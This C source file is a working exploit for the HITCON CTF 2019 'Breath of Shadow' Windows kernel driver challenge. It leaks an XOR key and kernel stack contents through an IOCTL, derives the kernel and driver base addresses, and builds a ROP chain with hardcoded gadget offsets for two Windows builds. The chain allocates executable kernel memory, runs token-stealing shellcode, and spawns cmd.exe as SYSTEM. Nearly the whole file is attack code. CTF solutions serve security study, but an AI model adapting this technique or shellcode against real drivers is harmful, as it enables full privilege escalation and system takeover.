#include <stdbool.h>
#include <stdio.h>
#include <Windows.h>
#include <lmcons.h>

//#define WIN_1909

enum {
	IOCTL_ENCRYPT = 0x9C40240B,
};

typedef enum _POOL_TYPE
{
	NonPagedPool = 0,
	NonPagedPoolExecute = 0,
	PagedPool = 1,
	NonPagedPoolMustSucceed = 2,
	DontUseThisType = 3,
	NonPagedPoolCacheAligned = 4,
	PagedPoolCacheAligned = 5,
	NonPagedPoolCacheAlignedMustS = 6,
	MaxPoolType = 7,
	NonPagedPoolBase = 0,
	NonPagedPoolBaseMustSucceed = 2,
	NonPagedPoolBaseCacheAligned = 4,
	NonPagedPoolBaseCacheAlignedMustS = 6,
	NonPagedPoolSession = 32,
	PagedPoolSession = 33,
	NonPagedPoolMustSucceedSession = 34,
	DontUseThisTypeSession = 35,
	NonPagedPoolCacheAlignedSession = 36,
	PagedPoolCacheAlignedSession = 37,
	NonPagedPoolCacheAlignedMustSSession = 38,
	NonPagedPoolNx = 512,
	NonPagedPoolNxCacheAligned = 516,
	NonPagedPoolSessionNx = 544
} POOL_TYPE;


char shellcode[] = "\x53\xBB\x88\x01\x00\x00\x65\x48\x8B\x13\x48\x8B\x92\x20\x02\x00\x00\xE8\x20\x00\x00\x00\x48\x89\xC3\xB9\x04\x00\x00\x00\x48\x89\xDA\xE8\x10\x00\x00\x00\x48\x8B\x80\x60\x03\x00\x00\x48\x89\x83\x60\x03\x00\x00\x5B\xC3\x48\x8B\x92\xF0\x02\x00\x00\x48\x81\xEA\xF0\x02\x00\x00\x48\x39\x8A\xE8\x02\x00\x00\x75\xE9\x48\x89\xD0\xC3";
UINT64 usrbuf[0x80];
UINT64 stack_dump[0x80];
HANDLE drvHandle;

bool encrypt(PVOID buf, DWORD inputLen, DWORD outputLen);
void xorbuf(PUINT64 buf, DWORD count, UINT64 xor_key);
DWORD WINAPI PrivescSpawnShell(LPVOID lpParam);

int main(void)
{
	printf("[*] HITCON CTF 2019 Quals Breath of Shadow Exploit\n");

	drvHandle = CreateFileW(L"\\\\.\\BreathofShadow", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (drvHandle == (HANDLE)-1)
	{
		printf("[-] Unable to access the BoS driver\n");
		return 1;
	}
	printf("[+] BoS driver loaded\n");

	usrbuf[0] = 0;
	if (!encrypt(usrbuf, 8, 8))
	{
		printf("[-] ioctl failed (xor key leak)\n");
		return 1;
	}
	UINT64 xor_key = usrbuf[0];
	printf("[+] Leaked XOR key: %016llx\n", xor_key);

	if (!encrypt(stack_dump, 0, sizeof(stack_dump)))
	{
		printf("[-] ioctl failed (stack dump)\n");
		return 1;
	}
	printf("[+] Kernel stack leaked\n");

	UINT64 ret, driver_base, handler_ret, kernel_base;

#ifndef WIN_1909
	UINT64 ofs_IofCallDriver_ret = 0x31f39;
#else
	UINT64 ofs_IofCallDriver_ret = 0x31f79;
#endif

	ret = stack_dump[0x25];
	driver_base = ret - 0x518A;
	handler_ret = stack_dump[0x2b];
	kernel_base = handler_ret - ofs_IofCallDriver_ret;

	if (driver_base & 0xffff)
	{
		printf("[-] Driver base address not aligned: %p\n", (PVOID)driver_base);
		return 1;
	}
	printf("[+] Driver base address: %p\n", (PVOID)driver_base);

	if (kernel_base & 0xffff)
	{
		printf("[-] Kernel base address not aligned: %p\n", (PVOID)kernel_base);
		return 1;
	}
	printf("[+] Kernel base address: %p\n", (PVOID)kernel_base);

	//// Writing ROP chain
	int si;
	UINT64 saved_rsp, alloc_pool;

#ifndef WIN_1909
	UINT64
		pop_r8 = 0x12c8cf,             // 0x000000014012c8cf : pop r8 ; ret
		pop_rcx = 0x1fc39,             // 0x000000014001fc39 : pop rcx ; ret
		pop_rdx = 0x244c62,            // 0x0000000140244c62 : pop rdx ; ret
		pop_rax = 0x2a272,             // 0x000000014002a272 : pop rax ; ret
		pop_rsp = 0x1a94,              // 0x0000000140001a94 : pop rsp ; ret
		mov_dr8_r11 = 0x3062c2,        // 0x00000001403062c2 : mov qword ptr [r8], r11 ; ret
		mov_drcx_rax = 0x66a95,        // 0x0000000140066a95 : mov qword ptr [rcx], rax ; ret
		mov_r8_rax = 0x12fdb5,         // 0x000000014012fdb5 : mov r8, rax ; mov rax, r8 ; ret
		mov_rcx_r8 = 0x8fc6fa,         // 0x00000001408fc6fa : mov rcx, r8; mov rax, rcx ; ret
		mov_rax_drax = 0x2afde,        // 0x000000014002afde : mov rax, qword ptr [rax] ; ret
		mov_rdx_rax = 0xdace4,         // 0x00000001400dace4 : mov rdx, rax ; jne 0x1400dacf3 ; mov al, 1 ; ret
		mov_rcx_rax = 0x782dad,        // 0x0000000140782dad : mov rcx, rax ; jne 0x140782dbc ; xor eax, eax ; ret
		mov_drcx_rdx = 0x21a2,         // 0x00000001400021a2 : mov qword ptr [rcx], rdx ; ret
		jmp_rax = 0x3277d,             // 0x000000014003277d : jmp rax
		add_rax_rcx = 0x58bfb,         // 0x0000000140058bfb : add rax, rcx ; ret
		test_ecx_ecx = 0x10bd60,       // 0x000000014010bd60 : test ecx, ecx ; ret
		ofs_ExAllocatePool = 0x133170, // 0x0000000140133170 : ExAllocatePool
		ofs_memmove = 0x1d4040;        // 0x00000001401d4040 : memmove
#else
	UINT64
		pop_r8 = 0x12c94f,             // 0x000000014012c94f : pop r8 ; ret
		pop_rcx = 0x1fc79,             // 0x000000014001fc79 : pop rcx ; ret
		pop_rdx = 0x18804a,            // 0x000000014018804a : pop rdx ; ret
		pop_rax = 0x2a2b2,             // 0x000000014002a2b2 : pop rax ; ret
		pop_rsp = 0x1a94,              // 0x0000000140001a94 : pop rsp ; ret
		mov_dr8_r11 = 0x3063c2,        // 0x00000001403063c2 : mov qword ptr [r8], r11 ; ret
		mov_drcx_rax = 0x66aa5,        // 0x0000000140066aa5 : mov qword ptr [rcx], rax ; ret
		mov_r8_rax = 0x12fe35,         // 0x000000014012fe35 : mov r8, rax ; mov rax, r8 ; ret
		mov_rcx_r8 = 0x8fc41a,         // 0x00000001408fc41a : mov rcx, r8 ; mov rax, rcx ; ret
		mov_rax_drax = 0x2b01e,        // 0x000000014002b01e : mov rax, qword ptr [rax] ; ret
		mov_rdx_rax = 0xdad34,         // 0x00000001400dad34 : mov rdx, rax ; jne 0x1400dad43 ; mov al, 1 ; ret
		mov_rcx_rax = 0x78423d,        // 0x000000014078423d : mov rcx, rax ; jne 0x14078424c ; xor eax, eax ; ret
		mov_drcx_rdx = 0x21a2,         // 0x00000001400021a2 : mov qword ptr [rcx], rdx ; ret
		jmp_rax = 0x327bd,             // 0x00000001400327bd : jmp rax
		add_rax_rcx = 0x58c3b,         // 0x0000000140058c3b : add rax, rcx ; ret
		test_ecx_ecx = 0x2f6b9,        // 0x000000014002f6b9 : test ecx, ecx ; jne 0x14002f6c2 ; ret
		ofs_ExAllocatePool = 0x1331f0, // 0x00000001401331f0 : ExAllocatePool
		ofs_memmove = 0x1d4240;        // 0x00000001401d4240 : memmove
#endif

	si = 0x25;
	memcpy(usrbuf, stack_dump, si * sizeof(UINT64));

	// saved_rsp = (kernel rsp)
	usrbuf[si++] = kernel_base + pop_r8;
	usrbuf[si++] = (UINT64)&saved_rsp;
	usrbuf[si++] = kernel_base + mov_dr8_r11;

	// alloc_pool = ExAllocatePool(NonPagedPoolExecute, 0x1000)
	usrbuf[si++] = kernel_base + pop_rcx;
	usrbuf[si++] = NonPagedPoolExecute;
	usrbuf[si++] = kernel_base + pop_rdx;
	usrbuf[si++] = 0x1000;
	usrbuf[si++] = kernel_base + ofs_ExAllocatePool;

	usrbuf[si++] = kernel_base + pop_rcx;
	usrbuf[si++] = (UINT64)&alloc_pool;
	usrbuf[si++] = kernel_base + mov_drcx_rax;

	// memmove(alloc_pool, shellcode, sizeof(shellcode))
	usrbuf[si++] = kernel_base + mov_r8_rax;
	usrbuf[si++] = kernel_base + mov_rcx_r8;
	usrbuf[si++] = kernel_base + pop_rdx;
	usrbuf[si++] = (UINT64)shellcode;
	usrbuf[si++] = kernel_base + pop_r8;
	usrbuf[si++] = sizeof(shellcode);
	usrbuf[si++] = kernel_base + ofs_memmove;

	usrbuf[si++] = kernel_base + pop_rcx;
	usrbuf[si++] = GetCurrentProcessId();

	// alloc_pool(pid)
	usrbuf[si++] = kernel_base + pop_rax;
	usrbuf[si++] = (UINT64)&alloc_pool;
	usrbuf[si++] = kernel_base + mov_rax_drax;
	usrbuf[si++] = kernel_base + jmp_rax;

	// ROP infinite loop w/ pop rsp ; ret
	usrbuf[si++] = kernel_base + pop_rax;
	usrbuf[si++] = (UINT64)&saved_rsp;
	usrbuf[si++] = kernel_base + mov_rax_drax;
	usrbuf[si++] = kernel_base + pop_rcx;
	usrbuf[si++] = 0x8 * (si + 0x11 - 0x22);
	usrbuf[si++] = kernel_base + add_rax_rcx;

	usrbuf[si++] = kernel_base + pop_rcx;
	usrbuf[si++] = 0;
	usrbuf[si++] = kernel_base + test_ecx_ecx;
	usrbuf[si++] = kernel_base + mov_rdx_rax;

	usrbuf[si++] = kernel_base + pop_rax;
	usrbuf[si++] = (UINT64)&saved_rsp;
	usrbuf[si++] = kernel_base + mov_rax_drax;
	usrbuf[si++] = kernel_base + pop_rcx;
	usrbuf[si++] = 0x8 * (si + 0x8 - 0x22);
	usrbuf[si++] = kernel_base + add_rax_rcx;

	usrbuf[si++] = kernel_base + pop_rcx;
	usrbuf[si++] = 0;
	usrbuf[si++] = kernel_base + test_ecx_ecx;
	usrbuf[si++] = kernel_base + mov_rcx_rax;

	usrbuf[si++] = kernel_base + mov_drcx_rdx;
	usrbuf[si++] = kernel_base + pop_rsp;
	usrbuf[si++] = 0;                       // placeholder for pop rsp pivoter (si - 1)
	////

	xorbuf(usrbuf, si, xor_key);

	printf("[*] Spawning new thread that waits for privesc & spawns shell...\n");
	
	DWORD tid;
	HANDLE hThread = CreateThread(NULL, 0, PrivescSpawnShell, 0, 0, &tid);

	printf("[*] Triggering never-ending privesc ROP...\n");
	if (!encrypt(usrbuf, si * sizeof(UINT64), 0))
	{
		printf("[-] ioctl failed (privesc ROP)\n");
		return 1;
	}
	printf("[!] Uh... how did you return without wreaking havoc?\n");

	WaitForSingleObject(hThread, INFINITE);
	CloseHandle(drvHandle);

	return 0;
}

bool encrypt(PVOID buf, DWORD inputLen, DWORD outputLen)
{
	return DeviceIoControl(drvHandle, IOCTL_ENCRYPT, buf, inputLen, NULL, outputLen, NULL, NULL);
}

void xorbuf(PUINT64 buf, DWORD count, UINT64 xor_key)
{
	for (DWORD i = 0; i < count; i++)
		buf[i] ^= xor_key;
}

DWORD WINAPI PrivescSpawnShell(LPVOID lpParam)
{
	printf("[*] Spin-waiting until user changes into NT AUTHORITY\\SYSTEM\n");
	
	TCHAR lpBuffer[UNLEN + 1];
	DWORD pcbBuffer = sizeof(lpBuffer) / sizeof(TCHAR);
	do
	{
		if (!GetUserName(lpBuffer, &pcbBuffer))
		{
			printf("[-] GetUserName failed...\n");
			return 1;
		}
	} while (strcmp("SYSTEM", lpBuffer));
	
	printf("[+] Current user: %s\n", lpBuffer);

	printf("[*] Spawning cmd.exe...\n");
	system("cmd.exe");

	return 0;
}